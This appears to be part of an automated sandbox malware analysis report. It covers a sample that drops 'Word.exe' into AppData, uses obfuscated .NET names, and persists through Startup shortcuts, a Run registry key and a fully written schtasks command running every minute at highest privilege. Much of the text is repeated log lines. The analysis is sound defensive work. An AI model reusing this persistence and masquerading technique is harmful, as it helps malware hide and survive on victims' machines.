Source: Word.exe.0.dr, ub99fRJjxxhOnbd1IRYK3hmGl4xhrDhQcSfdxKqEc9S0YSzeggxQAVz5.cs	High entropy of concatenated method names: 'IsXvgMmWDDi0GKmwYfXrSLt4su9kFPU7wWk4lfnpKralluJOyR1O8H5Q', 'GYjnmKgKouHVNH0JdIwf0BeGwrjgK83lxgxu4AawyrjXy2giDgl7OT7e', 'etppLJxJSB1jXw7jBRZOYsBFNHfce6yLxQ9smSdnIVahjePL1eMC1LAB', 'mWhsJeu1pwPfZfLjMzwX60PYjwSHzjepZee8xvFSwREs50OlRjEgSSTm', 'gekegH71eyGepeEfXtreeLtMQWSFLQ0vOjK4IylgxNcojYqauU7DBT9z', 'YxrrqccR1sKFfWKqRULJsM2oeDbUQ7yc0StZ1sDtEe6XZYZEB2aSnM3t', 'AWDtNnkHUylCqjU5wBtXJXufIZzd4YgH3GLouwFMbOZjrJEw8YubsUH7', 'kTQwu5HWmkxLRwgqwypDw5vzcBwGdPLE0K28AYie9', 'd88PPtA5HFqo3U0zeirQAL0Crgqmtu2QQLqN3umq9', 'bVyXES4EP09o6Z7wQZtX3MUV2mYkzEhHtgQKMvMZ8'
Source: Word.exe.0.dr, iAbAE9flz7Sm8xHN82X5gX1oQxkYqqqskhT3TlE2n.cs	High entropy of concatenated method names: 'yRCrefISSSO9KWzUqTGsjiJCYUupPgUhVKJbAgB7W', '_5p0ZJXgaH19u9mytvv0RFgOtE1affrRAPVnNzHt0t', 'p6SnofuYomIiWhwmFFlhsbneqfXntomUysUzdhASI', 'z2Lq6F1gErbuz72', '_1UmFzQS39E58jJo', 'VWDpxUNsHVRQGN7', '_8chWRbguLFweSc4', '_8MANYhnxwTJW6Gp', 'KnLcf6fuIO1J1YJ', 'Tyf1roLBZp8DQw1'
Source: Word.exe.0.dr, RLNc59m3K5qBU9nVpBi0AKzQWHnZ4GB7uwf5x7A0VpPRtOmln5U0LHjGRFKVDduY3yBpI1XMO.cs	High entropy of concatenated method names: 'AJj4PiCzNRpVVh1h6SNCk5iZfdyq0b0DQIYopFB8yJ4gKPPDr3Zqilj0cG0wxgiv1eAVjnlEH', 'EODVf7Ga3OHYvpZ5fetPPbScOlbBvYCPP2T2XuHNaz0ropsh3bGXl84EB0PGQyAmgl1ml2mFp', 'oMAom6AsDSszDD6lMI1HpRML292RI6Dztw9FMNx6WcCK0PlhkfyqwWMEri8PXmjwmaFzqH4Mw', 'qSxMAfFfmHHBxkRhG2188bSZcWq3406xigdKjK2TPaqqAoI9Dwl9Ss27GoMwqlE6vbARGLgK8', '_8oCHdwqYLaRUveuWJIkD7TjCvXyn4an2steRTazFEKeh3Gd3dMPLZtOi3WaaYZe1QsDGgO0ol', '_4PqWNp3bk1I0rI8OjNdlnJqZwSpjTIioGh6A5wDM43ARFfHPBBBTvPLY9DuQ05ikhNyVJp9cW', 'hBTxg4VsVUIBuLR488GZa3LMpjRTTX7uMYI59ZclrrvJPu5GerqKmRc7AAWyJ29OxrtTOKan7', 'p2gx5I1BkIiUMU0j6O6WCSMAgQyevZiHQASksVw8A6zD1d9U8PoMs5B35yBqTCmiQaFdmWBgk', '_3OkkEhhbiTvhxzRqLQ4N4kGNKFHfDMsEtXqzDkpVkUHTHs7Mk0QIaIvCBdrcMgdm1Afyduwqz', 'dhkYYv1dzDNd5JQxzVjx7zNdGZqtqIg0egcJcaNyVCeo3EEoRn5DTeiVNR7XMUXnSKTIiacGs'
Source: Word.exe.0.dr, nA4euSjsOXy4pNXRxxctUrNzEHkcz7GLZ8jRdQKUWRYwesSxULAuplcxQqEOMiJ619XwMcogZ.cs	High entropy of concatenated method names: 'uu45Rv5DsusjQgpBVVgG6drwaZyN300zQP1phBMgvmjIsh9ckUZfcmX2KNHrFHoXLpZff18ji', '_32YdZyiF4lmfDB9CCpuMSFdeJUDyydqXKjtdtZUHXI5t634MQfkvhfULSWC1DqWQGbBSTt3oa', '_9thcFwXbldrAWPgJFSYabzPlxaP4fFSfEitnsICDu7ACg2C8bcxlJTD5QtA7THPzgNpuW6erN', 't9qiN0jKANMJcTKLiMAlFuLh6nngBwmJjtwhmiq2Q7FuXzG2RMWkyfHUI2AweoIj21NpJLBk6', 'ehwoKWrWLjfTr3D', 'h38quwluOc3NJwY', 'ypQJ4z7OYGJH2iT', 'ZKTBuq68FHQ4d7j', 'eVQmMrZ3XD90h7E', 'bMpYRpCW1FwN7Hw'
Source: Word.exe.0.dr, mYAr1k08yb0HzmCgp0BEzPHAJWWzMQXamHNPm3NQBAqCoG6fW6xB8GV5ryb6UTU5pbINLp5FL.cs	High entropy of concatenated method names: 'yLd9V3ROIm31ERTXD0xajGBQB7pdEvf0001HIgsDWZPuRyEDtOel1kxGNEmSCF7ugQvqXNeoy', 'DTI91qk01xp2Xyr', '_5BeCPNNVDa9jcy3', 'QmhPZC7bDNGvhzL', 'KZGPnKe0V6zZ2Sz'
Source: Word.exe.0.dr, uEQDD3u1jGnJYt3mdJfu6rTjMrGOSgb217iI9FQzr.cs	High entropy of concatenated method names: 'yPjBiu2tQwzsG1EvdKk6bXNC2NKqtsU4PSCDUOEhl', '_7jMSGkZwhKQVohw0oZ5Md5Oz1qwwxXktQrdXNNfbB', 'FRgpR3Pn3yK9WRhVUMtJNEbXVeaPGXCKO9lArRD9D', 'shbSv9a7eGnp5x2qMZUGcksIU4kxeD9n9yHHDfHLJ', 'iEUUwGfw6yGiFSffG4RCAoJrCYay9gFwcmYm7XiGp', 'Sl3uJzyILrI33SqacM45OALSR4KwRgr8U0bWkJrpz', 'C8phO5yygQn5FEr0XcHechQRsqmUDtPLa79Ex90uY', 'BJAvCHu8oMuEpDCOnKdvg4XCY3Q1eFr1KxYfUIaH7', 't9bvEz17aK9Ydr4UJnpfXDak4DUFDKdSQnsws99wJ', 'UHUjR2XSbfiLpzPihQpFBOW1Qziqwjmz9Ye2PXClK'
Source: Word.exe.0.dr, iAOKDQGA3p7c29dSlFXyhBvszZmOLR4yirK1dQmhKkiKPA7vvD2EiLbV.cs	High entropy of concatenated method names: 'JKzkQFAfSHN3L83QnEhOKLJLCHO8dmO9ARv7FKEk7pUkTVNlxG5BsfQ9', 'L2vM753d7Dvz77V3VDAaai6tM5FMqB9RJzfeOmOs2aCxoqGjuDmBiwX4', 'afeHLN8kThwb0gQVBIR8Qdk79oDR4Q2KH2nBP8Wbkl7L5vhjImb6yCsJ', 'DxTDZEw6QCIJ9ifsB8eBupaKt64QAmdyEZkxWKu6jamdS3bvX12q3Zo6', '_1LE7eTixST7GMYuXH9DiuunmlmN1u1Efei5YrKtlpDmRbjROVBlUTZeE', 'fiQKEjSpVLFy7FQmHdt0IzVARX4JRrk5fvR0jh6Kwg7Ydx4Na6Wd75NR', 'ZA4jiIEIVeTXq0qmjn4MR199tRbqnLBWurWi0bFyQUEI4v1NPkUskmTv', 'AIrHFaG48GvzkfPhSDiEXnozH6fuKAsbElFG618R0b1TOfgZdOGobksu', 'AWo2cC80KKF41sRpkT9o5s14YWvOpwy1xhyQa1LRYXogMZRoa6Fuq8d7', 'XC1VWYIdMnzksOS0yiRN5QDIIrq1imvEZmZ2kNNj2JkgSBzdWe03C23H'

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Word.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Word" /tr "C:\Users\user\AppData\Roaming\Word.exe"

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Word.lnk

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Word.lnk

Loading BitLocker PowerShell Module

Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Word			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Word			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\2941D3B83AE7B9AA6CC8 88D9A666AFE4B49FD15B45F1DC568347855CF049E54918D00BAF1610AE750872

Check if machine is in data center or colocation facility

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
